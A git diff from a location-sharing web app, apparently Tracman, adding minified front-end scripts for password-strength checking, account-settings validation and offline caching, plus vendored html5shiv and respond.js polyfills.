static/js/.map.min.js vendored Normal file

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

1
static/js/.password.min.js vendored Normal file
View File

@ -0,0 +1 @@
"use strict";function checkMatch(){$("#submit").prop("title","You need to type your password again before you can save it. "),$("#p1").val()===$("#p2").val()?$("#submit").prop("disabled",!1).prop("title","Click here to save your password. "):""!==$("#p2").val()&&($("#password-help").text("Those passwords don't match... ").css({color:"#fb6e3d"}),$("#submit").prop("disabled",!0).prop("title","You need to type the same password twice before you can save it. "))}$(function(){$(".password").keyup(function(){if(""===$("#p1").val()&&""===$("#p2").val())$("#password-help").hide(),$("#submit").prop("disabled",!0).prop("title","You need to enter a password first. ");else if(""===$("#p1").val())$("#password-help").show().text("Those passwords don't match... "),$("#submit").prop("disabled",!0).prop("title","You need to type the same password twice correctly before you can save it. ");else{$("#password-help").show();let e=zxcvbn($("#p1").val());e.crack_times_seconds.online_no_throttling_10_per_second<3600?($("#password-help").text("That password is way too common or simple. You may not use it for Tracman and should not use it anywhere. ").css({color:"#fb6e3d"}),$("#submit").prop("disabled",!0).prop("title","You need to come up with a better password. ")):e.crack_times_seconds.online_no_throttling_10_per_second<86400?($("#password-help").text("That password is pretty bad. It could be cracked in "+e.crack_times_display.online_no_throttling_10_per_second+". Try adding more words, numbers, or symbols. ").css({color:"#fb6e3d"}),$("#submit").prop("disabled",!0).prop("title","You need to come up with a better password. ")):e.crack_times_seconds.online_no_throttling_10_per_second<864e3?($("#password-help").text("That password isn't good enough. It could be cracked in "+e.crack_times_display.online_no_throttling_10_per_second+". Try adding another word, number, or symbol. ").css({color:"#fb6e3d"}),$("#submit").prop("disabled",!0).prop("title","You need to come up with a better password. ")):e.crack_times_seconds.online_no_throttling_10_per_second<=2592e3?($("#password-help").text("That password is good enough, but it could still be cracked in "+e.crack_times_display.online_no_throttling_10_per_second+". ").css({color:"#eee"}),checkMatch()):e.crack_times_seconds.online_no_throttling_10_per_second<=1314e3?($("#password-help").text("That password is good. It would take "+e.crack_times_display.online_no_throttling_10_per_second+" to crack. ").css({color:"#8ae137"}),checkMatch()):($("#password-help").text("That password is great! It could take "+e.crack_times_display.online_no_throttling_10_per_second+" to crack!").css({color:"#8ae137"}),checkMatch())}}),$("#show").click(function(){$(this).is(":checked")?$(".password").attr("type","text"):$(".password").attr("type","password")})});

View File

@ -0,0 +1 @@
!function(e){function t(n){if(i[n])return i[n].exports;var u=i[n]={i:n,l:!1,exports:{}};return e[n].call(u.exports,u,u.exports,t),u.l=!0,u.exports}var i={};t.m=e,t.c=i,t.d=function(e,i,n){t.o(e,i)||Object.defineProperty(e,i,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var i=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(i,"a",i),i},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=62)}({62:function(e,t,i){"use strict";function n(e){return/^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/.test(e)}function u(e,t,i){$.get("/validate?"+e+"="+$(t).val()).done(function(e){$(t).val(e),i()})}$(function(){function e(e){function u(e){function u(){$("#email-help").is(":visible")&&"Unable to confirm unique "!==$("#email-help").text().substring(0,25)?$("#submit-group .main").prop("disabled",!0).prop("title","You need to supply a different email address. "):$("#slug-help").is(":visible")&&"Unable to confirm unique "!==$("#slug-help").text().substring(0,25)?$("#submit-group .main").prop("disabled",!0).prop("title","You need to supply a different slug. "):"Unable to confirm unique "===$("#slug-help").text().substring(0,25)?$("#submit-group .main").prop("title","Unable to confirm unique slug with the server. This might not work... "):"Unable to confirm unique "===$("#email-help").text().substring(0,25)?$("#submit-group .main").prop("title","Unable to confirm unique email with the server. This might not work... "):$("#submit-group .main").prop("disabled",!1).prop("title","Click here to save your changes. ")}e&&$("#"+e+"-input").val()?("email"===!e||n($("#email-input").val()))&&$.ajax({url:"/validate?"+e+"="+$("#"+e+"-input").val(),type:"GET",statusCode:{200:function(){$("#"+e+"-help").hide(),"slug"===e?t=!1:"email"===e&&(i=!1),u()},400:function(){"slug"===e?t=!0:"email"===e&&(i=!0),$("#"+e+"-help").show().text("That "+e+" is already in use by another user. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to supply a different "+e+". ")}}}).error(function(){"slug"===e?t=void 0:"email"===e&&(i=void 0),$("#"+e+"-help").show().text("Unable to confirm unique "+e+". This might not work... "),u()}):u()}!function(e){var u=0;$("#slug-input").val()?(t||$("#slug-help").hide(),u>0?e():u++):($("#slug-help").show().text("A slug is required. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to enter a slug. "),u>0?e():u++),$("#email-input").val()?n($("#email-input").val())?(i||$("#email-help").hide(),u>0?e():u++):($("#email-help").show().text("You must enter a valid email address. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to enter a valid email address. "),u>0?e():u++):($("#email-help").show().text("An email is required. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to enter an email address. "),u>0?e():u++)}(function(){u(e)})}var t,i;$("#password").attr("href","/account/password?tz="+(new Date).getTimezoneOffset()),$("#delete").click(function(){confirm("Are you sure you want to delete your account? This CANNOT be undone! ")&&(window.location.href="/settings/delete")}),$("#slug-input").change(function(){$("#slug-input").val()?($("#slug-help").hide(),u("slugify","#slug-input",function(){e("slug")})):($("#slug-help").show().text("A slug is required. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to enter a slug. "))}),$("#email-input").change(function(){e("email")}),$("#name-input").change(function(){u("xss","#name-input",e)})})}});

1
static/js/.settings.min.js vendored Normal file
View File

@ -0,0 +1 @@
"use strict";function validateEmail(e){return/^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/.test(e)}function replaceFromEndpoint(e,i,t){$.get("/validate?"+e+"="+$(i).val()).done(function(e){$(i).val(e),t()})}$(function(){let e,i;function t(t){!function(t){let n=0;$("#slug-input").val()?(e||$("#slug-help").hide(),n>0?t():n++):($("#slug-help").show().text("A slug is required. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to enter a slug. "),n>0?t():n++);$("#email-input").val()?validateEmail($("#email-input").val())?(i||$("#email-help").hide(),n>0?t():n++):($("#email-help").show().text("You must enter a valid email address. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to enter a valid email address. "),n>0?t():n++):($("#email-help").show().text("An email is required. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to enter an email address. "),n>0?t():n++)}(function(){!function(t){function n(){$("#email-help").is(":visible")&&"Unable to confirm unique "!==$("#email-help").text().substring(0,25)?$("#submit-group .main").prop("disabled",!0).prop("title","You need to supply a different email address. "):$("#slug-help").is(":visible")&&"Unable to confirm unique "!==$("#slug-help").text().substring(0,25)?$("#submit-group .main").prop("disabled",!0).prop("title","You need to supply a different slug. "):"Unable to confirm unique "===$("#slug-help").text().substring(0,25)?$("#submit-group .main").prop("title","Unable to confirm unique slug with the server. This might not work... "):"Unable to confirm unique "===$("#email-help").text().substring(0,25)?$("#submit-group .main").prop("title","Unable to confirm unique email with the server. This might not work... "):$("#submit-group .main").prop("disabled",!1).prop("title","Click here to save your changes. ")}t&&$("#"+t+"-input").val()?("email"===!t||validateEmail($("#email-input").val()))&&$.ajax({url:"/validate?"+t+"="+$("#"+t+"-input").val(),type:"GET",statusCode:{200:function(){$("#"+t+"-help").hide(),"slug"===t?e=!1:"email"===t&&(i=!1),n()},400:function(){"slug"===t?e=!0:"email"===t&&(i=!0),$("#"+t+"-help").show().text("That "+t+" is already in use by another user. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to supply a different "+t+". ")}}}).error(function(){"slug"===t?e=void 0:"email"===t&&(i=void 0),$("#"+t+"-help").show().text("Unable to confirm unique "+t+". This might not work... "),n()}):n()}(t)})}$("#password").attr("href","/account/password?tz="+(new Date).getTimezoneOffset()),$("#delete").click(function(){confirm("Are you sure you want to delete your account? This CANNOT be undone! ")&&(window.location.href="/settings/delete")}),$("#slug-input").change(function(){$("#slug-input").val()?($("#slug-help").hide(),replaceFromEndpoint("slugify","#slug-input",function(){t("slug")})):($("#slug-help").show().text("A slug is required. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to enter a slug. "))}),$("#email-input").change(function(){t("email")}),$("#name-input").change(function(){replaceFromEndpoint("xss","#name-input",t)})});

1
static/js/.sw.bun.js Normal file
View File

@ -0,0 +1 @@
!function(t){function n(r){if(e[r])return e[r].exports;var c=e[r]={i:r,l:!1,exports:{}};return t[r].call(c.exports,c,c.exports,n),c.l=!0,c.exports}var e={};n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)||Object.defineProperty(t,e,{configurable:!1,enumerable:!0,get:r})},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,n){return Object.prototype.hasOwnProperty.call(t,n)},n.p="",n(n.s=69)}({69:function(t,n,e){"use strict";const r=["/","/static/js/.*.bun.js","/static/css/.*.min.css","/static/manifest.json"];self.addEventListener("install",function(t){t.waitUntil(caches.open("precache-0.8.2").then(function(t){t.addAll(r)}).then(self.skipWaiting()))}),self.addEventListener("activate",function(t){const n=["precache-0.8.2","runtime"];t.waitUntil(caches.keys().then(function(t){return t.filter(function(t){n.includes(t)})}).then(function(t){return Promise.all(t.map(function(t){return caches.delete(t)}))}).then(function(){self.clients.claim()}))}),self.addEventListener("fetch",function(t){t.request.url.startsWith(self.location.origin)&&t.respondWith(caches.match(t.request).then(function(n){return n||caches.open("runtime").then(function(n){return fetch(t.request).then(function(e){return n.put(t.request,e.clone()).then(function(){return e})})})}))})}});

1
static/js/.sw.min.js vendored Normal file
View File

@ -0,0 +1 @@
"use strict";const PRECACHE="precache-0.8.2",RUNTIME="runtime",PRECACHE_URLS=["/","/static/js/.*.min.js","/static/css/.*.min.css","/static/manifest.json"];self.addEventListener("install",function(t){t.waitUntil(caches.open(PRECACHE).then(function(t){t.addAll(PRECACHE_URLS)}).then(self.skipWaiting()))}),self.addEventListener("activate",function(t){const n=[PRECACHE,RUNTIME];t.waitUntil(caches.keys().then(function(t){return t.filter(function(t){n.includes(t)})}).then(function(t){return Promise.all(t.map(function(t){return caches.delete(t)}))}).then(function(){self.clients.claim()}))}),self.addEventListener("fetch",function(t){t.request.url.startsWith(self.location.origin)&&t.respondWith(caches.match(t.request).then(function(n){return n||caches.open(RUNTIME).then(function(n){return fetch(t.request).then(function(e){return n.put(t.request,e.clone()).then(function(){return e})})})}))});

View File

@ -21,7 +21,7 @@ ga('send', 'pageview')
// Service worker
if ('serviceWorker' in navigator) {
window.addEventListener('load', function () {
navigator.serviceWorker.register('/static/js/.sw.bun.js'/*'/static/js/.sw.bun.js'*/).then( function(registration) {
navigator.serviceWorker.register('/static/js/.sw.min.js').then( function(registration) {
// Registration was successful
console.log('ServiceWorker registration successful with scope: ', registration.scope)
}, function(err) {

View File

@ -1,7 +1,7 @@
'use strict'
/* global $ */
var validEmail, validMessage
let validEmail, validMessage
// Validate email addresses
function validateEmail (email) {

View File

@ -3,8 +3,8 @@
// Push footer to bottom on pages with little content
function setFooter () {
var $windowHeight = $(window).height()
var $footerBottom = $('footer').offset().top + $('footer').height()
const $windowHeight = $(window).height()
const $footerBottom = $('footer').offset().top + $('footer').height()
if ($windowHeight > $footerBottom) {
$('footer').css('margin-top', $windowHeight - $footerBottom)
}

View File

@ -1,32 +0,0 @@
/*
HTML5 Shiv v3.6.2 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
*/
(function (l, f) {
function m () { var a = e.elements; return typeof a === 'string' ? a.split(' ') : a } function i (a) { var b = n[a[o]]; b || (b = {}, h++, a[o] = h, n[h] = b); return b } function p (a, b, c) { b || (b = f); if (g) return b.createElement(a); c || (c = i(b)); b = c.cache[a] ? c.cache[a].cloneNode() : r.test(a) ? (c.cache[a] = c.createElem(a)).cloneNode() : c.createElem(a); return b.canHaveChildren && !s.test(a) ? c.frag.appendChild(b) : b } function t (a, b) {
if (!b.cache)b.cache = {}, b.createElem = a.createElement, b.createFrag = a.createDocumentFragment, b.frag = b.createFrag()
a.createElement = function (c) { return !e.shivMethods ? b.createElem(c) : p(c, a, b) }; a.createDocumentFragment = Function('h,f', 'return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&(' + m().join().replace(/\w+/g, function (a) { b.createElem(a); b.frag.createElement(a); return 'c("' + a + '")' }) + ');return n}')(e, b.frag)
} function q (a) {
a || (a = f); var b = i(a); if (e.shivCSS && !j && !b.hasCSS) {
var c, d = a; c = d.createElement('p'); d = d.getElementsByTagName('head')[0] || d.documentElement; c.innerHTML = 'x<style>article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}</style>'
c = d.insertBefore(c.lastChild, d.firstChild); b.hasCSS = !!c
}g || t(a, b); return a
} var k = l.html5 || {}, s = /^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i, r = /^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i, j, o = '_html5shiv', h = 0, n = {}, g; (function () {
try {
var a = f.createElement('a'); a.innerHTML = '<xyz></xyz>'; j = 'hidden' in a; var b; if (!(b = a.childNodes.length == 1)) {
f.createElement('a'); var c = f.createDocumentFragment(); b = typeof c.cloneNode === 'undefined' ||
typeof c.createDocumentFragment === 'undefined' || typeof c.createElement === 'undefined'
}g = b
} catch (d) { g = j = !0 }
})(); var e = {elements: k.elements || 'abbr article aside audio bdi canvas data datalist details figcaption figure footer header hgroup main mark meter nav output progress section summary time video',
version: '3.6.2',
shivCSS: !1 !== k.shivCSS,
supportsUnknownElements: g,
shivMethods: !1 !== k.shivMethods,
type: 'default',
shivDocument: q,
createElement: p,
createDocumentFragment: function (a, b) {
a || (a = f); if (g) return a.createDocumentFragment()
for (var b = b || i(a), c = b.frag.cloneNode(), d = 0, e = m(), h = e.length; d < h; d++)c.createElement(e[d]); return c
}}; l.html5 = e; q(f)
})(this, document)

1
static/js/lib/.html5shiv.min.js vendored Normal file
View File

@ -0,0 +1 @@
!function(e,t){function n(){var e=f.elements;return"string"==typeof e?e.split(" "):e}function r(e){var t=d[e[h]];return t||(t={},u++,e[h]=u,d[u]=t),t}function a(e,n,a){return n||(n=t),i?n.createElement(e):(a||(a=r(n)),(n=a.cache[e]?a.cache[e].cloneNode():s.test(e)?(a.cache[e]=a.createElem(e)).cloneNode():a.createElem(e)).canHaveChildren&&!m.test(e)?a.frag.appendChild(n):n)}function c(e){e||(e=t);var c=r(e);if(f.shivCSS&&!o&&!c.hasCSS){var l,m=e;l=m.createElement("p"),m=m.getElementsByTagName("head")[0]||m.documentElement,l.innerHTML="x<style>article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}</style>",l=m.insertBefore(l.lastChild,m.firstChild),c.hasCSS=!!l}return i||function(e,t){t.cache||(t.cache={},t.createElem=e.createElement,t.createFrag=e.createDocumentFragment,t.frag=t.createFrag()),e.createElement=function(n){return f.shivMethods?a(n,e,t):t.createElem(n)},e.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+n().join().replace(/\w+/g,function(e){return t.createElem(e),t.frag.createElement(e),'c("'+e+'")'})+");return n}")(f,t.frag)}(e,c),e}var o,i,l=e.html5||{},m=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,s=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,h="_html5shiv",u=0,d={};!function(){try{var e,n=t.createElement("a");if(n.innerHTML="<xyz></xyz>",o="hidden"in n,!(e=1==n.childNodes.length)){t.createElement("a");var r=t.createDocumentFragment();e=void 0===r.cloneNode||void 0===r.createDocumentFragment||void 0===r.createElement}i=e}catch(e){i=o=!0}}();var f={elements:l.elements||"abbr article aside audio bdi canvas data datalist details figcaption figure footer header hgroup main mark meter nav output progress section summary time video",version:"3.6.2",shivCSS:!1!==l.shivCSS,supportsUnknownElements:i,shivMethods:!1!==l.shivMethods,type:"default",shivDocument:c,createElement:a,createDocumentFragment:function(e,a){if(e||(e=t),i)return e.createDocumentFragment();for(var c=(a=a||r(e)).frag.cloneNode(),o=0,l=n(),m=l.length;o<m;o++)c.createElement(l[o]);return c}};e.html5=f,c(t)}(this,document);

1
static/js/lib/.respond.min.js vendored Normal file
View File

@ -0,0 +1 @@
window.matchMedia=window.matchMedia||function(e){"use strict";var t,n=e.documentElement,a=n.firstElementChild||n.firstChild,s=e.createElement("body"),i=e.createElement("div");return i.id="mq-test-1",i.style.cssText="position:absolute;top:-100em",s.style.background="none",s.appendChild(i),function(e){return i.innerHTML='&shy;<style media="'+e+'"> #mq-test-1 { width: 42px; }</style>',n.insertBefore(s,a),t=42===i.offsetWidth,n.removeChild(s),{matches:t,media:e}}}(document),function(e){"use strict";function t(){E(!0)}var n={};if(e.respond=n,n.update=function(){},n.mediaQueriesSupported=e.matchMedia&&e.matchMedia("only all").matches,!n.mediaQueriesSupported){var a,s,i,r=e.document,o=r.documentElement,l=[],d=[],m=[],h={},u=r.getElementsByTagName("head")[0]||o,c=r.getElementsByTagName("base")[0],p=u.getElementsByTagName("link"),f=[],y=function(){for(var t=0;p.length>t;t++){var n=p[t],a=n.href,s=n.media,i=n.rel&&"stylesheet"===n.rel.toLowerCase();a&&i&&!h[a]&&(n.styleSheet&&n.styleSheet.rawCssText?(g(n.styleSheet.rawCssText,a,s),h[a]=!0):(!/^([a-zA-Z:]*\/\/)/.test(a)&&!c||a.replace(RegExp.$1,"").split("/")[0]===e.location.host)&&f.push({href:a,media:s}))}v()},v=function(){if(f.length){var t=f.shift();w(t.href,function(n){g(n,t.href,t.media),h[t.href]=!0,e.setTimeout(function(){v()},0)})}},g=function(e,t,n){var a=e.match(/@media[^\{]+\{([^\{\}]*\{[^\}\{]*\})+/gi),s=a&&a.length||0,i=function(e){return e.replace(/(url\()['"]?([^\/\)'"][^:\)'"]+)['"]?(\))/g,"$1"+t+"$2$3")},r=!s&&n;(t=t.substring(0,t.lastIndexOf("/"))).length&&(t+="/"),r&&(s=1);for(var o=0;s>o;o++){var m,h,u,c;r?(m=n,d.push(i(e))):(m=a[o].match(/@media *([^\{]+)\{([\S\s]+?)$/)&&RegExp.$1,d.push(RegExp.$2&&i(RegExp.$2))),c=(u=m.split(",")).length;for(var p=0;c>p;p++)h=u[p],l.push({media:h.split("(")[0].match(/(only\s+)?([a-zA-Z]+)\s?/)&&RegExp.$2||"all",rules:d.length-1,hasquery:h.indexOf("(")>-1,minw:h.match(/\(\s*min\-width\s*:\s*(\s*[0-9\.]+)(px|em)\s*\)/)&&parseFloat(RegExp.$1)+(RegExp.$2||""),maxw:h.match(/\(\s*max\-width\s*:\s*(\s*[0-9\.]+)(px|em)\s*\)/)&&parseFloat(RegExp.$1)+(RegExp.$2||"")})}E()},x=function(){var e,t=r.createElement("div"),n=r.body,a=!1;return t.style.cssText="position:absolute;font-size:1em;width:1em",n||((n=a=r.createElement("body")).style.background="none"),n.appendChild(t),o.insertBefore(n,o.firstChild),e=t.offsetWidth,a?o.removeChild(n):n.removeChild(t),i=parseFloat(e)},E=function(t){var n="clientWidth",h=o[n],c="CSS1Compat"===r.compatMode&&h||r.body[n]||h,f={},y=p[p.length-1],v=(new Date).getTime();if(t&&a&&30>v-a)return e.clearTimeout(s),void(s=e.setTimeout(E,30));for(var g in a=v,l)if(l.hasOwnProperty(g)){var w=l[g],T=w.minw,C=w.maxw,S=null===T,$=null===C;T&&(T=parseFloat(T)*(T.indexOf("em")>-1?i||x():1)),C&&(C=parseFloat(C)*(C.indexOf("em")>-1?i||x():1)),w.hasquery&&(S&&$||!(S||c>=T)||!($||C>=c))||(f[w.media]||(f[w.media]=[]),f[w.media].push(d[w.rules]))}for(var b in m)m.hasOwnProperty(b)&&m[b]&&m[b].parentNode===u&&u.removeChild(m[b]);for(var R in f)if(f.hasOwnProperty(R)){var M=r.createElement("style"),O=f[R].join("\n");M.type="text/css",M.media=R,u.insertBefore(M,y.nextSibling),M.styleSheet?M.styleSheet.cssText=O:M.appendChild(r.createTextNode(O)),m.push(M)}},w=function(e,t){var n=T();n&&(n.open("GET",e,!0),n.onreadystatechange=function(){4!==n.readyState||200!==n.status&&304!==n.status||t(n.responseText)},4!==n.readyState&&n.send(null))},T=function(){var t=!1;try{t=new e.XMLHttpRequest}catch(n){t=new e.ActiveXObject("Microsoft.XMLHTTP")}return function(){return t}}();y(),n.update=y,e.addEventListener?e.addEventListener("resize",t,!1):e.attachEvent&&e.attachEvent("onresize",t)}}(this);

1
static/js/lib/.zxcvbn.min.js vendored Normal file

File diff suppressed because one or more lines are too long

92
static/js/lib/html5shiv.js vendored Executable file
View File

@ -0,0 +1,92 @@
/*
HTML5 Shiv v3.6.2 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
*/
(function(l, f) {
function m() {
var a = e.elements;
return typeof a === 'string' ? a.split(' ') : a
}
function i(a) {
var b = n[a[o]];
b || (b = {}, h++, a[o] = h, n[h] = b);
return b
}
function p(a, b, c) {
b || (b = f);
if (g) return b.createElement(a);
c || (c = i(b));
b = c.cache[a] ? c.cache[a].cloneNode() : r.test(a) ? (c.cache[a] = c.createElem(a)).cloneNode() : c.createElem(a);
return b.canHaveChildren && !s.test(a) ? c.frag.appendChild(b) : b
}
function t(a, b) {
if (!b.cache) b.cache = {}, b.createElem = a.createElement, b.createFrag = a.createDocumentFragment, b.frag = b.createFrag()
a.createElement = function(c) {
return !e.shivMethods ? b.createElem(c) : p(c, a, b)
};
a.createDocumentFragment = Function('h,f', 'return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&(' + m().join().replace(/\w+/g, function(a) {
b.createElem(a);
b.frag.createElement(a);
return 'c("' + a + '")'
}) + ');return n}')(e, b.frag)
}
function q(a) {
a || (a = f);
var b = i(a);
if (e.shivCSS && !j && !b.hasCSS) {
var c, d = a;
c = d.createElement('p');
d = d.getElementsByTagName('head')[0] || d.documentElement;
c.innerHTML = 'x<style>article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}</style>'
c = d.insertBefore(c.lastChild, d.firstChild);
b.hasCSS = !!c
}
g || t(a, b);
return a
}
var k = l.html5 || {},
s = /^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,
r = /^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,
j, o = '_html5shiv',
h = 0,
n = {},
g;
(function() {
try {
var a = f.createElement('a');
a.innerHTML = '<xyz></xyz>';
j = 'hidden' in a;
var b;
if (!(b = a.childNodes.length == 1)) {
f.createElement('a');
var c = f.createDocumentFragment();
b = typeof c.cloneNode === 'undefined' ||
typeof c.createDocumentFragment === 'undefined' || typeof c.createElement === 'undefined'
}
g = b
} catch (d) {
g = j = !0
}
})();
var e = {
elements: k.elements || 'abbr article aside audio bdi canvas data datalist details figcaption figure footer header hgroup main mark meter nav output progress section summary time video',
version: '3.6.2',
shivCSS: !1 !== k.shivCSS,
supportsUnknownElements: g,
shivMethods: !1 !== k.shivMethods,
type: 'default',
shivDocument: q,
createElement: p,
createDocumentFragment: function(a, b) {
a || (a = f);
if (g) return a.createDocumentFragment()
for (var b = b || i(a), c = b.frag.cloneNode(), d = 0, e = m(), h = e.length; d < h; d++) c.createElement(e[d]);
return c
}
};
l.html5 = e;
q(f)
})(this, document)

135
static/js/lib/respond.js Executable file
View File

@ -0,0 +1,135 @@
/*! matchMedia() polyfill - Test a CSS media type/query in JS. Authors & copyright (c) 2012: Scott Jehl, Paul Irish, Nicholas Zakas. Dual MIT/BSD license */
/*! NOTE: If you're already including a window.matchMedia polyfill via Modernizr or otherwise, you don't need this part */
window.matchMedia = window.matchMedia || function(a) {
"use strict";
var c, d = a.documentElement,
e = d.firstElementChild || d.firstChild,
f = a.createElement("body"),
g = a.createElement("div");
return g.id = "mq-test-1", g.style.cssText = "position:absolute;top:-100em", f.style.background = "none", f.appendChild(g),
function(a) {
return g.innerHTML = '&shy;<style media="' + a + '"> #mq-test-1 { width: 42px; }</style>', d.insertBefore(f, e), c = 42 === g.offsetWidth, d.removeChild(f), {
matches: c,
media: a
}
}
}(document);
/*! Respond.js v1.3.0: min/max-width media query polyfill. (c) Scott Jehl. MIT/GPLv2 Lic. j.mp/respondjs */
(function(a) {
"use strict";
function x() {
u(!0)
}
var b = {};
if (a.respond = b, b.update = function() {}, b.mediaQueriesSupported = a.matchMedia && a.matchMedia("only all").matches, !b.mediaQueriesSupported) {
var q, r, t, c = a.document,
d = c.documentElement,
e = [],
f = [],
g = [],
h = {},
i = 30,
j = c.getElementsByTagName("head")[0] || d,
k = c.getElementsByTagName("base")[0],
l = j.getElementsByTagName("link"),
m = [],
n = function() {
for (var b = 0; l.length > b; b++) {
var c = l[b],
d = c.href,
e = c.media,
f = c.rel && "stylesheet" === c.rel.toLowerCase();
d && f && !h[d] && (c.styleSheet && c.styleSheet.rawCssText ? (p(c.styleSheet.rawCssText, d, e), h[d] = !0) : (!/^([a-zA-Z:]*\/\/)/.test(d) && !k || d.replace(RegExp.$1, "").split("/")[0] === a.location.host) && m.push({
href: d,
media: e
}))
}
o()
},
o = function() {
if (m.length) {
var b = m.shift();
v(b.href, function(c) {
p(c, b.href, b.media), h[b.href] = !0, a.setTimeout(function() {
o()
}, 0)
})
}
},
p = function(a, b, c) {
var d = a.match(/@media[^\{]+\{([^\{\}]*\{[^\}\{]*\})+/gi),
g = d && d.length || 0;
b = b.substring(0, b.lastIndexOf("/"));
var h = function(a) {
return a.replace(/(url\()['"]?([^\/\)'"][^:\)'"]+)['"]?(\))/g, "$1" + b + "$2$3")
},
i = !g && c;
b.length && (b += "/"), i && (g = 1);
for (var j = 0; g > j; j++) {
var k, l, m, n;
i ? (k = c, f.push(h(a))) : (k = d[j].match(/@media *([^\{]+)\{([\S\s]+?)$/) && RegExp.$1, f.push(RegExp.$2 && h(RegExp.$2))), m = k.split(","), n = m.length;
for (var o = 0; n > o; o++) l = m[o], e.push({
media: l.split("(")[0].match(/(only\s+)?([a-zA-Z]+)\s?/) && RegExp.$2 || "all",
rules: f.length - 1,
hasquery: l.indexOf("(") > -1,
minw: l.match(/\(\s*min\-width\s*:\s*(\s*[0-9\.]+)(px|em)\s*\)/) && parseFloat(RegExp.$1) + (RegExp.$2 || ""),
maxw: l.match(/\(\s*max\-width\s*:\s*(\s*[0-9\.]+)(px|em)\s*\)/) && parseFloat(RegExp.$1) + (RegExp.$2 || "")
})
}
u()
},
s = function() {
var a, b = c.createElement("div"),
e = c.body,
f = !1;
return b.style.cssText = "position:absolute;font-size:1em;width:1em", e || (e = f = c.createElement("body"), e.style.background = "none"), e.appendChild(b), d.insertBefore(e, d.firstChild), a = b.offsetWidth, f ? d.removeChild(e) : e.removeChild(b), a = t = parseFloat(a)
},
u = function(b) {
var h = "clientWidth",
k = d[h],
m = "CSS1Compat" === c.compatMode && k || c.body[h] || k,
n = {},
o = l[l.length - 1],
p = (new Date).getTime();
if (b && q && i > p - q) return a.clearTimeout(r), r = a.setTimeout(u, i), void 0;
q = p;
for (var v in e)
if (e.hasOwnProperty(v)) {
var w = e[v],
x = w.minw,
y = w.maxw,
z = null === x,
A = null === y,
B = "em";
x && (x = parseFloat(x) * (x.indexOf(B) > -1 ? t || s() : 1)), y && (y = parseFloat(y) * (y.indexOf(B) > -1 ? t || s() : 1)), w.hasquery && (z && A || !(z || m >= x) || !(A || y >= m)) || (n[w.media] || (n[w.media] = []), n[w.media].push(f[w.rules]))
}
for (var C in g) g.hasOwnProperty(C) && g[C] && g[C].parentNode === j && j.removeChild(g[C]);
for (var D in n)
if (n.hasOwnProperty(D)) {
var E = c.createElement("style"),
F = n[D].join("\n");
E.type = "text/css", E.media = D, j.insertBefore(E, o.nextSibling), E.styleSheet ? E.styleSheet.cssText = F : E.appendChild(c.createTextNode(F)), g.push(E)
}
},
v = function(a, b) {
var c = w();
c && (c.open("GET", a, !0), c.onreadystatechange = function() {
4 !== c.readyState || 200 !== c.status && 304 !== c.status || b(c.responseText)
}, 4 !== c.readyState && c.send(null))
},
w = function() {
var b = !1;
try {
b = new a.XMLHttpRequest
} catch (c) {
b = new a.ActiveXObject("Microsoft.XMLHTTP")
}
return function() {
return b
}
}();
n(), b.update = n, a.addEventListener ? a.addEventListener("resize", x, !1) : a.attachEvent && a.attachEvent("onresize", x)
}
})(this);

28
static/js/lib/zxcvbn.js Normal file

File diff suppressed because one or more lines are too long

View File

@ -1,16 +1,13 @@
'use strict'
/* global alert mapuser userid disp noHeader mapKey navigator token */
/* global alert io google $ mapuser userid disp noHeader mapKey navigator token */
import io from 'socket.io-client'
import $ from 'jquery'
import loadGoogleMapsAPI from 'load-google-maps-api'
// Variables
var map, marker, elevator, newLoc
let map, marker, elevator, newLoc
const mapElem = document.getElementById('map')
const socket = io('//' + window.location.hostname)
const IDLE_TIMEOUT = 300 // 5 minutes in seconds
var _idleSecondsCounter = 0
let _idleSecondsCounter = 0
// Idle timeout listeners
function resetIdleSecondsCounter () {
